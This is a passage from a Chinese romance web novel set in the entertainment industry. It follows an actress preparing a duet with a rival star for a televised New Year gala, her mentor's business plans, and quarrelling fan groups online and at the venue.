白澜也心焦，开车回工作室。 工作室在艺域大楼的一间房里，平常祝星亦都在剧组或跑通告，偶尔会回来开个会。 祝星亦匆忙去会议室，白澜喊董韶喻去讨论加节目的事。 幕视要加的节目是一首歌，要跟另一个嘉宾合唱。 那个嘉宾是晏瑾年。 祝星亦身子往椅子上一靠，脸色不佳。 这个节目莫不是晏瑾年要加的？ “ilmeth那边表示，安排你们二人合唱情歌是为了给《沉默的外乡人》提前制造热度。”董韶喻的口吻很公式化，但没有过分严肃，“容总这边有意要你和ilmeth拉近关系，年后有个很好的年代剧本子，容总想和她们谈一谈要你来演。” 祝星亦本因为要和晏瑾年合唱生气，但听到这个，怒火消了一大半。 有机会和ilmeth合作就代表ilmeth对她有好感，电影是因为关系硬才进去的，若是表现得好，能出演她们的电视剧，也是好事一桩。 “容总能争取到的概率有多大？”祝星亦问。 董韶喻答：“目前还不太清楚，但这部剧的老戏骨多，又是ilmeth影视的剧，制作水准很高。如果接下来和ilmeth的合作愉快，参演的概率可能会大些。” “我考虑考虑。”祝星亦思索后说。 董韶喻希望祝星亦快点给答复，“星星，拒绝是最糟糕的一种方法。一首情歌而已，对你来说不是难事。” 白澜知道祝星亦讨厌晏瑾年，帮忙解释：“话是这么说没错，可是星亦又是在剧组拍戏又是排舞，根本没时间练歌，更不要说和晏小姐一起排练。到时候彩排又是唱歌又是表演舞蹈，那个飞天舞还有吊钢丝环节，星亦过段时间还要训练一段时间……” “我也知道星星很忙，但是我希望星星慎重考虑。”董韶喻自然是清楚这些，“ilmeth和别人合作一直都阴晴不定，换言之，我们必须看她们脸色才能抓住来之不易的机会。星星，你现在正在上升期，吃得下这些苦，熬一熬，总会好的。” 白澜这下没了主意。 董韶喻说得没错，ilmeth的好机会难得，不能轻易放弃，也不能惹这些人不快。 白澜等待祝星亦的答案。 祝星亦默声许久，点点头，“行，先这样安排，我同意加节目。” 走出工作室，白澜担忧道：“星亦，你边拍剧边准备这个，肯定吃不消，身体要紧。” 祝星亦摇头叹道：“现在这个时候就别提身体了，不紧紧抓住那些机会，我现在的辛苦就是白费了。” 雪下得大了，地上一层厚厚的积雪，鞋子踩上去印出鞋底的花纹。 祝星亦的半张脸藏在围巾里，她踩踩地上的雪，淡声说：“我有这么多机会可以曝光自己，总比在家闲到抠脚好，是不是？” “容羽珍知道你以后不会续约，所以才这样对付你。”白澜想到祝星亦的行程便气愤不已，“现在只是开始，以后会更过分！她们完全不顾你是个人，都当你是机器！” 当白澜知道容羽珍只跟祝星亦签三年合约，还给祝星亦选择离开or续约的权力，白澜就已经猜到祝星亦会被怎么折磨。 如果容羽珍不把祝星亦完全榨干，是不会轻易放祝星亦走的。《寄明月》爆火后，祝星亦的商业价值直线提升。 没有爆剧出现的话，只能继续消费之前的热度，但容羽珍不会让祝星亦安安稳稳待在艺域，她会让祝星亦一部戏接一部戏拍，让祝星亦不断产生价值。 只要持续拍戏，总会有新的爆剧出来。等三年后，容羽珍放祝星亦离开也不亏，如果可以好好谈一谈，说不定祝星亦会继续留在艺域。 但容羽珍此人谨慎无比，她笃定祝星亦不会续约艺域，只能狠狠榨干祝星亦。 可是祝星亦精力再旺盛也不是铁做的，白澜看着祝星亦有些憔悴的脸，一阵心疼。 连拍三部剧，还要抽空去参加容羽珍安排的活动，每天除了通告就是通告，高强度工作，是机器人也受不了啊。 白澜懊悔当初没有偷偷告知苏寄欢签约的事，如果那时候寻求苏寄欢的帮助，说不定苏寄欢劝一劝，祝星亦就不会签约艺域。 失去[安宁］这个角色就失去了，没有这个角色就没有了，但身体垮了就真的什么都没有了。 祝星亦摇头笑道：“可是如果不签约艺域，我哪有这么多剧组可以进？在这个世界上，任何东西都是有代价的，想要得到什么就要失去什么。对于现在的我来说，让我失去什么都无所谓，只要我能走上去，失去什么都无所谓。” 白澜站在祝星亦身后帮她整理衣服，她劝不动祝星亦。 她觉得祝星亦的想法并不好，为了走上去，失去什么都无所谓？非要这么狠心无情吗？ “你已经是同时期小花里最有名气的了，换句话来说，你已经是小花顶流，这样就够了。”白澜不知道该怎么跟祝星亦阐述这个东西，“星亦，人可以有追求，但人也要懂得知足。” 祝星亦走在雪上抿着唇，她走得快了些，往前走几步又停下。 远处大楼上的大屏上播放的是她代言的PlanMizz广告片，片子里的她高贵、大气，迷人。黑发黑衣红唇，自信又从容。 “一个人如果只满足于现状的话，那些不满足的人就会把她踩在脚下。在逆流里，原地踏步就是在后退，我只能不停地往前，我不能落后于别人。”她说。 清瘦的身子在雪里坚韧无比，白澜望着祝星亦背影一瞬间失神。 祝星亦和苏寄欢越来越像了。 白澜赶上她，和她并肩，“星亦，我希望你有空跟苏小姐讲一讲这些东西，我说话不顶用，但她说话你肯定会听一听。” 祝星亦声音有些不悦，“你是觉得我做错了吗？努力也是一种错误？提升自己也不行？” 白澜被这话堵住了嘴，她沉默了好久说：“星亦，你还记得吗？你在《青春理论》的初舞台上说，你来那里是为了实现自己的舞台梦，是为了让[人生的星星］闪闪发光。但现在呢？” “那都是很久以前的事了。”祝星亦几乎都要忘记她在《青春理论》上说过的话，再说那都是上辈子的事，这辈子她唯一的目标是往上走，再往上走。 祝星亦抬起手掌接雪花，雪花在温热的掌心化成一滩冰冷的水。 “我已经不是19岁的祝星亦，我已经21岁了。”祝星亦望着白皑皑的世界停滞了一会儿。 她已经21岁了，自她重生，已经过去了两年。 时间真快啊。 “别想有的没的，明天还要拍戏，今晚你睡个好觉。”祝星亦揉揉鼻子抬步离开。 白澜无奈地叹口气，跟着离开。 /// “啊，不用，你跟阿姨说一声最近忙，不能回去了。”苏芙开着免提跟苏以薇通话，听见门口有响动，抬眼看苏寄欢走进来，继续说：“工作上的事你就让她别操心了，鸭头有她自己的想法，到时候你就帮忙应付着吧，我们最近忙得很。” 那边苏以薇拧着眉毛应了声好。 挂断电话，苏芙起身去找苏寄欢。 “下午三点和她们见面是不是？”苏芙确定时间。 苏寄欢脱下大衣嗯了声，“对，你到点喊我，我先睡会儿。” 苏芙跟着她走了两步问：“黄蕙那边怎么说？” 黄蕙是[苏盛］的商务总监，前几日在忙团队策划的事。从打算转型后，苏寄欢一直在忙碌，好在凭借她的知名度和影响力，这事办得快。 “没什么大问题，放宽心就好。”苏寄欢打了个哈欠，“别忘记叫我。” 苏芙知道苏寄欢忙碌得辛苦，招呼她快些休息。 两点半，苏芙驱车和姜妤璇去见面。 姜妤璇做制片人已久，资源多，得知[苏盛］要转型忙给苏寄欢牵线搭桥。 几年前姜妤璇就劝[苏盛］赶紧转型，有影视资源固然好，但自己掌握资源才是长久之道。 车子缓缓向约定好的餐厅驶去，前几日又下了一场雪，比上次的小了点儿，下周便是春节了，苏寄欢看着窗外还未化完的雪，感叹时间过得真快。 路边的广告牌上有祝星亦的身影，苏芙下意识瞥了几眼。 自从《寄明月》爆火后，加上《四季》的热播，祝星亦的代言也多了些。PlanMizz高奢还有其他大大小小的代言，现在一些软件开屏都能看到祝星亦。 这孩子还真是敬业呢，一直在剧组泡着，还要参加幕视春晚，苏芙感叹年轻人就是精力充沛。 想到重要的事儿，苏芙问：“你知道星星要和晏瑾年合唱的事吗？” 苏寄欢还在补觉，声音轻缓，“知道，她跟我说过了。” “晏氏和ilmeth交好的话，对我们可是个不小的挑战。”苏芙想到这个也是怕得很，单单对付晏瑾年她不害怕，但ilmeth不是小角色，晏瑾年真把ilmeth拉拢过去，日后[苏盛］的发展更难了。 “ilmeth没那么蠢。”苏寄欢半睁着眼看了下窗外，身子动了下，继续合上眼皮，“晏璟霖不干净，林总不想惹一身骚。” “姓林的只看钱，她管这些呢？” 苏寄欢摇头笑说：“她为了名声也不会轻易和晏氏交好，万一哪天晏珂没了，晏氏没有那么大的支撑，也是危险。” 苏芙对此疑惑，“关晏珂什么事？晏璟霖这人不是很靠谱吗？” 晏珂早早便把晏氏集团交给晏璟霖打理，晏璟霖年轻，思维敏锐，在她手上，晏氏集团的市场竞争力显著提升。即便在晏珂有朝一日不在了，有*晏璟霖在，晏氏也差不了。 苏寄欢没把话说完，伸了个懒腰，脑袋继续歪在一旁，“浮云蔽日罢了。” “什么意思？你知道什么内幕？”苏芙意识到事情没那么简单。 苏寄欢摇摇头，“你好好开车，我眯会儿。” 车子缓缓停在停车场，进餐厅，姜妤璇已经在位置上等着，身旁还坐着几位应邀前来的贵客。 “小雅，这里。”姜妤璇挥手。 苏寄欢快步走去，和几位贵客握手问好。 “小雅，这是Witass的陆小姐，这是屠小姐，这是明导，这是海文集团的卫小姐。”姜妤璇挨个介绍。 苏寄欢依次问好后坐下。 陆小姐是有名的投资行家，圈内资源多，海文集团旗下的海文网络文学是火热的网文网站，热门ip较多。 眼见这几人，苏芙对这次聊天放心多了。姜妤璇当初从台前转幕后真是个好决定，依靠别人的人脉不如自己成为人脉。 但苏芙担心苏寄欢有朝一日真的要转幕后，苏菱前几日为这事生气，好在想方设法劝了劝，否则家里可要开启一场战争。 苏寄欢还有几个奖没拿，真要是转幕后，苏芙都为她感到不甘心。起码要完全超过晏瑾年之后再慢慢转幕后，万不能这时候转。 苏寄欢健谈，对[苏盛］发展影视板块展开了很多想法。几人谈得热闹，事也好办。 送别几人后，姜妤璇拍拍苏寄欢肩膀，“小雅，这段时间辛苦你了，走这一步难，但跨过了就好。” 苏寄欢目送那几人走远，又坐下和姜妤璇细谈了些。她最近看了很多不错的文，想快点把影视公司的事解决掉，尽早推优质作品出来。 姜妤璇叹苏寄欢有些着急，有资源有人脉，转影视不难，但若想拍优质作品出来还是要等一等。一部剧哪有那么快就拍完的？ “你爱徒和晏瑾年同演一部电影，你不高兴了？”姜妤璇敏锐地察觉到一些东西。 苏寄欢神色一缓，问：“你怎么会突然想到这里？” 姜妤璇拧着眉毛说：“晏瑾年舍得投那么多钱和你爱徒一起出演《外乡人》，肯定是看重你爱徒。怕只怕晏瑾年想把她签到[晏影］，真要是签走了，也太打你脸了。” 苏寄欢轻轻摇了摇头，“星星绝对不会签[晏影］的，我了解她。” 第93章 想要再进一步 “她要是真不签也是好事一桩，但签了的话……”姜妤璇思索片刻，觉得不应该在这时说这些话。 小祝那人很依赖苏寄欢，应该不会做出背叛苏寄欢的事。 姜妤璇拍拍苏寄欢的手，道：“幕视春晚你好像被ilmeth邀请到现场了，小祝要表演什么来着？” 苏芙在一旁答：“那孩子要表演两个节目，一个飞天舞，一个跟晏瑾年的合唱。” 晏瑾年和祝星亦要演《沉默的外乡人》，自打角色确定，ilmeth没少开始对两个人进行营销。 即便还没开拍，晏瑾年和祝星亦的线上互动不多，ilmeth也能找到办法让两个人有话题可讲。姜妤璇觉得这是好事，起码看出来ilmeth对这个电影足够重视。 无论是制作团队还是题材，这部电影就算拍得再差也会是一部拿得出手的片子。 “但是小雅，你最近行程太少，春节后你又要进组做监制，这一年来你一共就拍了一个片子，这……”姜妤璇对苏寄欢有些担忧，眼见晏瑾年片子一部接一部，怎么苏寄欢懈怠了？ “等《外乡人》拍完再说，我想把当前的事做完再考虑其他的。” 姜妤璇知道劝不动，现在苏寄欢一心投入到公司转型，确实没有心力去拍戏，“等你影视板块成立，有几个电影本子你选一下，别落后于晏瑾年。她要是真靠《外乡人》得几个大奖，你又差她几步。” 苏寄欢点头应了一声。 苏芙嘀嘀咕咕几句，等开车回家，苏芙跟苏寄欢道：“你看你一点都不着急，晏瑾年真要是再多拿几个奖，不得狠狠把你踩在脚下？你甘心吗？” “顺其自然。”苏寄欢淡淡道。 “你真是……”苏芙气得没话说。 临近除夕，苏菱连打了几个电话过来。 苏芙道这次不能回家守岁，苏寄欢要做客幕视那边的春晚，嘉宾要等到零点之后方才回家。 往年苏寄欢一直在苏家过除夕，今年无法一起，苏菱不甚高兴，但也没什么办法，只催促着等节目结束后赶紧回家。 苏芙握着手机叹道：“节目结束都多晚了，我们先去外面过一晚。” 苏菱哪里乐意大过年的要她们去酒店住，怎么说都要她们回去住，苏芙搪塞两句赶紧挂掉电话。 “鸭头，星星这几天忙着彩排，你去看两眼呗。”苏芙订完幕视附近的酒店提醒。 苏寄欢也想去看，只是最近忙得脚不沾地，根本无法抽身过去。 “你帮我去看好了，等她彩排完你带她去吃顿饭。”苏寄欢忙着处理工作，逐渐没了声音。 苏芙拧着眉头嘟囔：“你们两个都是工作狂，整天忙忙忙。” 幕视春晚越来越近，热搜上都是幕视的话题。 祝星亦热度正盛，她的话题也靠前。几次彩排路透，祝星亦的素颜图一直被顶上去。 【我女素颜也好好看，但是怎么不开心呢？女鹅多笑一笑好不好啊】 【宝宝怎么瘦了呀，艺域不给你饭吃吗呜呜呜】 【星星消瘦之后好清冷，可是我想要之前的星星呜呜呜】 【#祝星亦敦煌飞天舞#期待星星的飞天舞】 【#祝星亦幕视春晚#期待星星的两个节目】 除此之外，[月星百万］一词也在极速上升。 cp粉高高兴兴点进去，还以为谁又做了好吃的饭，结果广场上全在吵架。 【星星和yjn合唱，们酥家别蹭了好不好？还说什么背叛，怎么，我们星星就不能和其他艺人合作吗？们酥占有欲不要太强！！】 【某星可真行啊，吸着我们苏苏的血爬上去，转头就去跟我们苏苏的对家合作，《寄明月》才完结几天，马上就翻脸不认人，这就是你感谢苏苏的方法吗！】 【你们唯粉能不能停一停，这是我们家的词条，不要在我们广场上闹事好不好？要打出去打！】 【我还以为我们的妈妈妈咪又有什么甜甜的饭吃，结果一进来就看到唯粉们在扯头花。拜托，我们苏苏也是幕视春晚嘉宾，小道消息说苏苏去看了几次星星的彩排，还接星星吃饭，我家cp不要太真，就你们唯粉在这里吵来吵去，烦死了】 【#每日一善#点亮阳光信用，传递温暖正能量】 【谁在提纯谁清楚，靠我们姐姐上位又背叛我们姐姐，怎么，吸了这个姐姐的血，又要继续吸下一个是不是？看热闹的[瑾一卫］别猖狂，下一个被当跳板的就是你家主子！！】 【路过看个热闹被骂了，不好意思，我们晏神就是那么有魅力，老苏再怎么都比不上晏神，只能眼看着美人儿溜走】 【唯粉看着是唯粉，嘴上说着快点和苏解绑，但看星和其他人合作立马炸毛了，其实你们也在磕吧】 【恨来恨去你们只是恨她没那么爱她】 【从《外乡人》选角开始你们这群苏唯粉就开始闹，我星和谁合作跟你们有关系吗？说着不让我们星蹭你家姐姐，我们不蹭了不贴了，你们又嘲讽我们。怎么，你们那么霸道吗？我们星只能跟你家姐姐贴贴吗？】 【不贴被骂，贴了也要被骂，老天奶，还要不要让人活了啊！】 【过去的[月星百万］已经没了，欢迎来磕[亦晏为定］！】 【就不能三个人一起磕吗？我宣布[欢星过大年］最好磕！】 【滚】 随着吵架吵得越来越凶，[月星百万］词条竟冲上热搜第一。紧随其后的是祝星亦和苏寄欢、晏瑾年三人的词条。 苏寄欢超话里都在吵架，景雨初边删审核不通过的帖子边头疼地清理广场。 梁韵文清着广场无奈道：“这群[酥芽］怎么这么没规矩啊，说真的，嫂子跟谁合作苏苏都没说什么，怎么她们那么急，她们不是唯粉吗？怎么还要管嫂子的事？” 说起这个，温晚棠也是气愤不已。也不知道谁挑事，从ilmeth宣布祝星亦出演安宁一角开始，超话里就有[酥芽］暗讽祝星亦。 后来演变为私下建群讨论这件事，最后越演越烈，有的[酥芽］甚至跑到[星海］超话里闹，吵得不可开交。说什么吸血鬼靠吸苏苏血上位，转头和苏苏对家合作，辜负苏苏恩情。又说什么欺骗、背叛，害得[星海］差点联系工作室起诉她们。 更有[酥芽］甩出不知道哪年的照片，上面显示祝星亦和晏瑾年一起用餐。她们就着这个事发了万字作文指控祝星亦不忠诚，洋洋洒洒的万字word，知道的是在吐槽祝星亦，不知道的还以为祝星亦甩了那个[酥芽］。 温晚棠握着拳头气道：“说着关注自家关注自家，这群[酥芽］都要把嫂子扒得裤衩都不剩了。苏苏今年就拍了一部戏的事她们一点都不在乎！！” 梁韵文也是一肚子气：“她们有时间写万字论文，没时间给苏苏做数据吗？我真的搞不明白她们的重点了，晏瑾年家都快笑疯了，她们还在那不管不顾当小丑。” 祝星亦跟谁演戏，关别人什么事？[酥芽］跟[星海］闹完，两家都不开心也就算了，有的[酥芽］还去[月星百万］超话里闹，说什么“你们cp早就be了，别磕了”。 [月星百万］的产粮太太多，cp粉更是隔一段时间放出罕见的双方互动物料，摆明已经是个小圈子了，人家每天嗑糖磕得开开心心的，[酥芽］过来吆喝一句这个，这谁见了不得说一句[酥芽］疯了？ 幕视春晚节目单出来后，[酥芽］们更是抓狂。本来她们就因为《外乡人》愤怒，这下祝、晏二人合唱一出，大批的[酥芽］装都不装了，直接去祝星亦动态底下开麦。 昨天晚上几个[酥芽］还语言直播吐槽这件事，虽然没点名道姓，但满屏的[祝x你这个骗子！］[祝x你这个叛徒］[祝x你辜负了姐姐］，真叫人看笑话。 眼看直播间已经有10万＋人，景雨初举报了几次才把这个直播间封掉。 “过几天我要去幕视春晚现场做嘉宾，我现在只希望别发生上次范可心的事。我真的要麻了。”景雨初一想到除夕那晚幕视大楼里会围满[星海］[酥芽］和[迷航员］就头疼得要死。 双方唯粉和cp粉真要是打起来可该怎么办？到时候那么多艺人在幕视大楼里围着，又有幕视的直播记者，这这这…… 完了完了，真要是线下打起来可太丢人了。上次范可心的事已经给景雨初留下了阴影，她真的不想发生第二次啊！ 何况上次还是凭票进场，这次幕视专门为各大艺人粉丝留了一个超大见面厅，只限人数不限粉籍，[酥芽］们肯定早早到场挤进去，那…… 景雨初抱着头哭喊：“我可以把票卖出去吗？我不想进内场看节目，我想去外场维持秩序。” “我们也想你和我们一起维持秩序！”梁韵文和温晚棠异口同声道。 // 除夕那天，苏芙带着苏寄欢提前去了幕视大楼。 后台的演员们在化妆，有的演员还在进行最后一轮的彩排。苏芙本要带着苏寄欢去找祝星亦，奈何苏寄欢被邀请到前厅直播间进行访谈。 苏芙只好自己去找祝星亦。 跑进后台问了工作人员，说是祝星亦正在彩排。苏芙忙去舞台那处，远远听到一阵歌声。 过去一看，祝星亦穿着简单的便装正在和晏瑾年彩排。 一见晏瑾年的脸，苏芙心里一阵火气。 这个死女人每次都跟苏寄欢作对，以前抢剧本，现在抢学生，哪有这样的？这也太霸道了！ 等了会儿，两人合唱结束。 晏瑾年跟着祝星亦一起下台，祝星亦步子迈得极大，一点都不想等晏瑾年。 苏芙见了赶忙跟祝星亦挥手。 “二姐！”祝星亦站定招了招手，朝苏芙跑去。 苏芙扬眉微笑。 晏瑾年也跟了过来。 苏芙不微笑。 “你好，苏芙。”晏瑾年穿着呢子大衣站过来。 祝星亦往一旁站站，亲切地挽着苏芙的手臂，“二姐，我晚上就表演节目，你们在哪里坐着？” 苏芙弯着唇拍拍她的手说：“我等下带你看一看。” 转头跟晏瑾年说：“晏小姐，我们先过去了，有空聊。” 恰好晏瑾年接了个电话，三人就此别过。 “二姐，苏老师在哪儿？”祝星亦问。 苏芙道：“她在直播厅受邀采访呢，节目开始的时候会过来。” 她拍拍祝星亦，“不要太紧张哇，你就当台下的人都是猪头。” 祝星亦扑哧一声笑了，“猪头？二姐，我之前在嘉兰品牌宴会上跟我队友也是这样说的，我说把台下的艺人当猪头就不紧张了。谁知道这话被苏老师听到了，她还拿这句话呛我。哼，那可是我们初遇呢，刚见面就呛我，真让我没面子。” 苏芙这才知道两人的初见这么尴尬，捂着嘴笑了会儿说：“她居然没跟我说过！话说她怎么这么没礼貌啊，刚见面就逗别人，我从来没见过她这个样子。” 苏芙心想这臭鸭头真是不会搭讪，称赞星星漂亮不就行了，还拿猪头呛人，难怪直到现在还没把星星追到手。 两人到位置坐下，苏芙看着舞台上的彩排演员，问：“星星，你觉得寄欢怎么样？” 祝星亦不假思索道：“苏老师很好，她是世界上最好的人。” 苏芙叹息：“你怎么给她发好人卡啊，她这么没竞争力吗？你对她没有什么特别的想法吗？比如，你觉得她很好，非常想和她再进一步。” 祝星亦抓着衣服红着耳朵局促地笑了笑，“那个……二姐，我还有一个舞蹈要彩排，我先走了。” 苏芙还没再说两句，祝星亦脚下生风般溜了。她拍了下椅子不高兴道：“什么都没说呢怎么就跑了，我给你们助攻你们还不领情。” 幕视春晚八点开始，晚七点，大厅处聚满了艺人粉丝。安保做得还算严格，也给粉丝们提供了休息区，最中间的大屏正在播放着后台记者辗转各个房间进行采访的影像。 许明歌跟邱言坐在小圆桌处，叶松萝被邀请到内场，现场应该正在进场。 虽然幕视说着来幕视大厅不限粉籍和年龄，但想要进幕视大楼的门，还是要去考试领个证才能进来。 各家粉丝纷纷骂ilmeth太狗了，临到除夕才通知，粉丝只能匆匆忙忙去线上考试才拿到入场证。如此一来，幕视大楼外围满了无证的粉丝。 好在ilmeth很人性化，怕楼外的粉丝出事和体验感不好，早早支了棚子给粉丝提供热水。乌泱泱一片粉丝聚在幕视广场大楼门口的大屏处，如果幸运，还能在南门看到刚到的艺人。 许明歌翻看自己的黑金色入场证，小声吐槽：“这ilmeth也太会营销了，又是节目又是嘉宾座位又是考试的，艺人、粉丝的热度她们赚个遍儿，这半个月以来全是她们的热搜，每天挂在上面动都不带动的。” 邱言喝了口果汁道：“这不是很好吗？星星拍了她们的戏，以后星星也有她们这种热度。而且她们就是靠营销起家，多少人都想和她们合作呢。” 一旁的[星海］跟着说：“听说达尼那个剧宣总监和《外乡人》的影宣交好，等《外乡人》拍完，恐怕咱们星星又要被拉着炒cp了。” 一听到炒cp，许明歌有点应激，“炒炒炒，天天都拉着星星炒，咖位差别那么大，星星天天都被骂那么惨，这些人真是一点都不考虑星星的感受。” 隔着两张桌子，一个声音响起。 “不考虑她的感受？我看她乐意着呢，炒cp多好啊，昨天攀苏苏，今天攀晏瑾年，明天再去攀别人，攀着攀着咖位就上去了，不费吹灰之力。” 许明歌坐直身子往那处望去，一个面相很凶的女人抱着双臂靠着椅背出声，女人身边的女人跟着附和：“土鸡跟在凤凰身后捡点东西吃就能变凤凰了，变成凤凰的第一步就是把苏苏踢掉，马上又舔下一只凤凰。我们苏苏就是脾气好，不计较，她要是随随便便踢掉晏瑾年，我就不信晏瑾年会放过她。” “就是心疼苏苏被她背刺，如果真的有良心，我求她少搞点事，少做对不起苏苏的事。” “跟谁合作不行，非得挑苏苏的对家合作，吸血吸不够，直接照着苏苏的脸打一巴掌，真是德艺双馨的好爱豆啊。” 那群女人正说着，许明歌身后的女人站起来走过去，义正词严：“我说你们真是搞笑，当初不让我们蹭你们家，我们现在不蹭了，热搜上带的也不是你们家的名字，你们都在这里埋怨起来了。不吸你们姐姐家的血，你们不应该很高兴吗？线上闹了又在线下闹，什么都满足不了你们是吗？” 许明歌听出那人是[星海］，赶忙过去拉人。奈何又一个[星海］站出来为祝星亦鸣不平。 “你们在这里装什么受害者？当初骂星星骂得最厉害的就是你们，让她滚的也是你们，真滚了你们还不满意，你们能不能别那么霸道！” 这位[星海］声音大，引得周围的各家艺人竖起耳朵观察战况。 最感兴趣的是[瑾一卫］，鬼知道晏瑾年拿下费琳一角还和祝星亦一起出演《外乡人》踩了苏寄欢一脚后她们有多高兴。 不管是热搜的骂战还是超话里的讨论，[瑾一卫］都默默潜水吃瓜，看[酥芽］们气得要死她们就高兴。 昔日苏寄欢卖[月星百万］cp，《寄明月》大火打败《辞旧赋》，[瑾一卫］憋着一股气没出，现在看着[酥芽］这副气急败坏的模样，[瑾一卫］都想开香槟庆祝。 晏瑾年出演费琳，还把苏寄欢的cp抢过来一起搭档，晏瑾年这行为简直是年度爽文！ 战火中也有一批沉默的看客。 “咱们要上吗？” “请问我们上的话是要帮谁？” “我们这群cp粉会被趁乱打死吧！” “沉默是金，先闭嘴。” 那边，[酥芽］和[星海］的纷争愈演愈烈—— “你家吸了我苏苏多少血，就是这么回报苏苏的吗？” “我真的很奇怪，这种互惠互利的事情你能在这里污蔑成吸血，这个cp你们苏苏没有占到便宜吗？” “我们苏苏从来没有卖过cp，为了给你们抬咖才卖的，我们需要卖cp吗？” “你们没卖过cp怎么要和我们卖？你们苏苏卖不也是心甘情愿的吗？难不成是我们星星逼着苏苏卖的？！未免也太可笑了！” “你们正主真是没良心，蹭我们蹭火了转头抱别人大腿，这种人这辈子火不起来！” “说什么蹭不蹭的，你们只是对星星占有欲太强了！离不开星星的不是你们苏苏姐，是你们吧！” “你们厚颜无耻！” “你们恼羞成怒！” 梁韵文刚和温晚棠踏进大厅，立马被吵闹声吸引住了。各家粉丝举着手机录像，梁韵文见状况不对忙去拉人。 安抚好自家粉丝情绪，梁韵文喊满头大汗的许明歌商议让两家粉丝离远点儿。许明歌没别的主意，只能跟其他粉丝换位置。 “雨初呢？是不是已经进去了。”安抚完粉丝，温晚棠问。 梁韵文看两家粉丝隔了那么远，终于放心些，“进去了，我们先等节目。” 晚会内场—— 景雨初抱着相机拿着牌子找到自己的位置，比较偏后的地方。 前方都是艺人区域，她在中间处坐着，从这个地方看舞台还算不错。 每个座位上都有小礼盒，景雨初把相机挂脖子上开始拆盒子。 幕视ip吉祥物挂件，糖果，小本子和一支笔。 刚拆开吉祥物挂件拿在手心里看，一个红头发女人抱着相机坐到她身旁。 景雨初瞥了眼相机，佳能R3。 和她的一样。 景雨初晃了下挂件，很精致，盒子也漂亮。重新装起来后，她安静坐着等嘉宾们落座。 不一会儿，一个身影从景雨初面前走过。 有点眼熟。 那人在红发女人身边落座。 女人刚落座，熟悉的声音响起：“乔汐？你怎么在这儿？” 乔汐跷着二郎腿懒洋洋说：“好啦，不要在这么多人面前高呼我的名字，我也要面子的好不好。” 景雨初立马探头，“叶松萝？” 叶松萝抓着扶手，老天奶，大事不妙。 双方唯粉中间夹了个cp粉。 乔汐抱着相机认认真真拍了下无人的舞台，“星粉和苏粉是吧，还认识？不如我跟你们换位置，你们坐一起？” “不要！”景＆叶异口同声道。 乔汐拍完，笑眯眯地同景雨初伸出手：“你好，我叫乔汐，我知道你，你是苏苏的大粉。” “你好。”景雨初握上乔汐的手。 叶松萝一脸不悦地提醒：“喂，乔汐可是星星和苏小姐的cp粉。” “cp……粉？”景雨初刚收回来的手滞在半空。 怎么是cp粉？ 虽说景雨初已经认可嫂子了，但两人的恋情必须保密，她可应付不了cp粉，毕竟她觉得cp粉确实很会磕。 景雨初挠挠头，算了，跟这个cp粉保持距离好了。 乔汐转了下身子朝叶松萝伸出手：“你好，我记得你，你是叶松萝，你是星星的大粉。很高兴又见到你了。” 叶松萝还为上次的事感到不快，瞪着眼不理乔汐。 乔汐主动握住叶松萝的手，不那么张扬的妆容掩盖不住张扬的气势。 叶松萝抽回手，气得牙根痒。 这是被分到什么破位置了？又是苏寄欢的大粉，又是cp大粉，这也太倒霉了！ 她咬着牙，抱着相机不吭声。 空气很安静。 乔汐伸着头四顾，良久，寻找不到苏寄欢的身影，只能先等着节目开始。 八点整，节目正式开始。 仍不见苏寄欢在何处。 乔汐在群里获得了苏寄欢的座位号，开始用相机找寻苏寄欢。 怪了。 苏寄欢的位置是空的。 接连几个节目过去，祝星亦和晏瑾年登台唱歌。 伴奏响起。 苏寄欢的位置还是空的。 乔汐放下相机坐立不安。 苏寄欢到底去哪里了？ 第94章 你是不是喜欢我 大厅—— 粉丝聚在宽敞的大厅里，最中间的大屏正直播晚会。 祝星亦和晏瑾年登场，一人在左，一人在右。 伴奏响起，进入主歌，祝星亦声音轻缓，似流动的清泉般悦耳。 镜头扫过现场观众，又切回舞台。 “怎么找不到苏苏啊？” “怪了，从节目开场到现在一直没见苏苏。” “苏苏哪去了？” “我看看苏苏是不想看到脏东西罢了。”一个[酥芽］大声吆喝起来，“台上的脏东西太碍眼了，她才懒得看！” “喂！说什么呢！”听出这话不太对劲的[瑾一卫］起身怼了一句。 “呦，还挺有自知之明呢，只可惜有些人没有。”那位[酥芽］冷哼一声：“台上两个脏东西成双成对，多好啊，太般配了。” [星海］听到自家也被骂了，顿时暴起：“你才是脏东西呢，自家主子不在就找别人撒气，哪有你们这样的，太霸道了！” 见这群粉丝又吵了起来，工作人员忙维持秩序，安抚了会儿这群人才闭嘴。 大屏上，镜头在晏瑾年和祝星亦两个人身上来回切。 晏瑾年转脸要和祝星亦对唱，祝星亦却看着台下。 她的视线有些飘忽，似乎在寻找什么。 “星星是不是在找苏苏啊，可是苏苏不在台下诶。” “苏苏为什么一直不出现啊，星星都等着急了。” “苏苏不会真的不想看星星唱歌吧，她们最近互动真的很少，感觉天天都在找硬糖吃，我的cp真的be了吗？” “喂，你不要这么说啊……” 舞台上，又一个对唱的环节。 彩排时排过很多次了，两人需要对视。 晏瑾年转过脑袋，欲和祝星亦对唱。 祝星亦还是在看着台下。 苏寄欢的位置一直没有人，她在后台时就注意到了。 她以为等她唱歌的时候苏寄欢会来，但…… 最近她太忙了，也鲜少和苏寄欢见面，上次她跟苏寄欢说了要跟晏瑾年合唱的事，苏寄欢嘴上说工作而已，该做就做。可真的做了，苏寄欢竟然缺席了。 苏寄欢不会整场都不出现吧？自己又，又做错事了吗？但如果不乖乖听从ilmeth的安排的话，ilmeth很可能不会再跟她合作。 苏寄欢当时明明也同意了合唱的事，怎么又缺席呢？ 进入到过渡句部分，祝星亦稳住慌乱的心，看着镜头继续唱—— [你总是会有一些小脾气 我知道应该保持恰当的距离 ……］ 音乐逐渐变得激昂起来，进入副歌时，导播切的画面忽然变了。 镜头本是要切晏瑾年和祝星亦的同框，竟然只对准祝星亦单人半身。 随后，屏幕画面忽然抽了一下，画面一分为二，画面左边是直播采访厅里撑着下巴看着大屏幕安静听歌的苏寄欢，画面右边是祝星亦在唱副歌—— [关于你的爱，我其实都明白 你小心翼翼地靠近，都算是告白 关于你的爱，我怎会看不出来 你故作轻松地计算，我已离不开］ 苏寄欢勾着唇角看屏幕上的祝星亦唱歌，直播采访厅的屏幕上是祝星亦的单人副歌演唱画面。 她认真盯着，柔软的眼神闪着光，慢慢地，她勾着唇角跟旁边的主持人说：“星星唱得很好听。” 主持人跟着说：“是啊，很好听，全能爱豆。她有给你唱过歌吗？” “有。” “情歌有吗？”主持人的声音里满是笑意。 